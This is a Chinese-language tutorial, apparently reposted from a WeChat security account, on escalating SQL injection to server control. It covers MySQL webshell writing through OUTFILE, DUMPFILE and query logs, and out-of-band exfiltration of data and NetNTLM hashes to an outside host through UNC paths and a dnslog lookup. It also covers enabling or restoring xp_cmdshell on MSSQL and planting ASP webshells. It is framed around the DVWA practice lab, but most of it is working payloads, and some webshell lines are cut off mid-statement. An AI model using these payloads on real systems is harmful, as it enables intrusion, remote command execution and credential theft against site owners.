0x00 前言
上一節,我們已經介紹了基本的SQL查詢語句,常見的SQL注入類型,DVWA靶場演示SQL注入。學習了上一節我們可以做到執行任意SQL語句,主要可以對數據庫的數據進行操作,但是不能對服務器和應用進一步控制,本節就介紹下在有sql注入的情況下如何進行下一步的滲透,獲取到服務器權限。
0x01 Getshell
這里我們還是以上一節說的DVWA靶場為例,利用SQL注入漏洞寫入webshell獲取網站權限。
目標環境:
PHP+MYSQL+LINUX
前提條件:
- mysql 是root權限
- 知道網站在服務器上的物理路徑,且可寫
- 沒有過濾單引號
- `PHP`的`GPC`為 off狀態
- mysql <= 5.6.34
當`secure_file_priv`的值沒有具體值時,表示不對`MySQL`的導入|導出做限制
SHOW VARIABLES LIKE "secure_file_priv";
如果是null,表示`MySQL`不允許導入導出。(NULL不等于沒有空)
而且在`mysql 5.6.34`版本以后 `secure_file_priv` 的值默認為NULL,并且無法用`SQL`語句對其進行修改,并且會報錯如下:
`docker run -itd --name dvwa1 -p 8111:80 vulnerables/web-dvwa:1.9`
下載低版本的mysql測試
利用outfile和dumpfile,**outfile會在每行添加反斜杠,可導出多行,dumpfile只能導出一行,不會添加反斜杠,適合導出二進制文件:
```
?id=1' UNION ALL SELECT 1,'' into outfile '/tmp/info.php'
?id=1' UNION ALL SELECT 1,'' into dumpfile '/tmp/info.php'
```
如果不能使用union查詢可以使用`fields terminated by`與`lines terminated by`:
```
?id=1' into outfile '/tmp/info.php' FIELDS TERMINATED BY ''
```
修改配置getshell:
```
vi /etc/mysql/my.cnf
secure_file_priv= "/"
```
小tricks:
利用日志文件getshell
```
show variables like '%general%'; --查看配置,日志是否開啟,和mysql默認log地址(記下原地址方便恢復)
set global general_log = on; --開啟日志監測,默認關閉(如果一直開文件會很大的)
set global general_log_file = '/var/www/html/info.php'; --設置日志路徑
select '
--SQL查詢免殺shell
select "
SELECT "
--慢查詢寫shell,只有當查詢語句執行的時間要超過系統默認的時間時,該語句才會被記入進慢查詢日志。
為什么要用慢查詢寫呢?上邊說過開啟日志監測后文件會很大,網站訪問量大的話我們寫的shell會出錯
show global variables like '%long_query_time%' --查看服務器默認時間值
show variables like '%slow_query_log%'; --查看慢查詢信息
set global slow_query_log=1; --啟用慢查詢日志(默認禁用)
set global slow_query_log_file='C:\phpStudy\WWW\shell.php'; --修改日志文件路徑
select '
```
0x02 OOB
利用mysql的函數,把信息傳遞到外網控制的機器,例如文件讀取的函數,其實是對上面利用的一種變形和深度利用
前提條件:
- mysql <= 5.6.34
跟上面一樣**secure_file_priv**,在5.6.34之前是空值,之后被設置為null,直接被禁止了
```
select @@version into outfile '//192.168.126.149/temp/o';
select @@version into dumpfile '//192.168.126.149/temp/o';
select load_file(concat('\\',version(),'.dnslog.cn\a'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));
```
這里可能被利用竊取NetNtlm或者SMBrelay
responder -I eth0 -rv
0x03 MSSQL 執行命令
當碰到windows服務器上web應用有MSSQL注入時,可利用注入執行命令寫webshell等
前提條件:
- SQL Server 2005以后默認關閉,需要手動開啟
查看xp_cmdshell是否開啟,并且使用語句開啟:
```
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure'xp_cmdshell', 1;
RECONFIGURE;
```
執行命令:
```
exec master..xp_cmdshell 'whoami';
```
如果xp_cmdshell被刪除,我們可以利用xplog70.dll恢復被刪除的xp_cmdshell
```
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\xplog70.dll'
```
這里就涉及到上傳文件:
1.利用sql語句寫入
```
exec sp_makewebtask 'c:\windows\temp\xx.dll','select''<%execute(request("cmd"))%>'''
```
2.利用命令執行,寫入或下載
```
exec xp_cmdshell 'echo "<%execute(request("cmd"))%>">> c:\windows\temp\xx.dll)'
```
3.db權限
```
目錄情況:
create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--
insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--
select dir from temp where id=1 通過修改id來遍歷目錄
寫數據
alter database 數據庫名 set RECOVERY FULL 開啟恢復模式full,當恢復模式為 SIMPLE 時,不允許使用 BACKUP LOG 語句。
create table test(str image)--
insert into test(str)values ('<%execute(request("cmd"))%>')--
backup log 數據庫名 to disk='c:可讀寫路徑x.asp'-- 這里的目錄注意是可讀寫目錄,不然會出問題
alter database 數據庫名 set RECOVERY simple-- 關閉恢復模式full
```
其他:
- COM組件利用
- CLR利用
- SQL Server 2016 R利用
- SQL Server 2017 Python利用
- 沙盒利用(openrowset)
- Agent Job利用
0X04 總結
SQL注入到Getshell
-
服務器
+關注
關注
12文章
9123瀏覽量
85328 -
SQL
+關注
關注
1文章
762瀏覽量
44117
原文標題:SQL注入到Getshell和OOB
文章出處:【微信號:哆啦安全,微信公眾號:哆啦安全】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論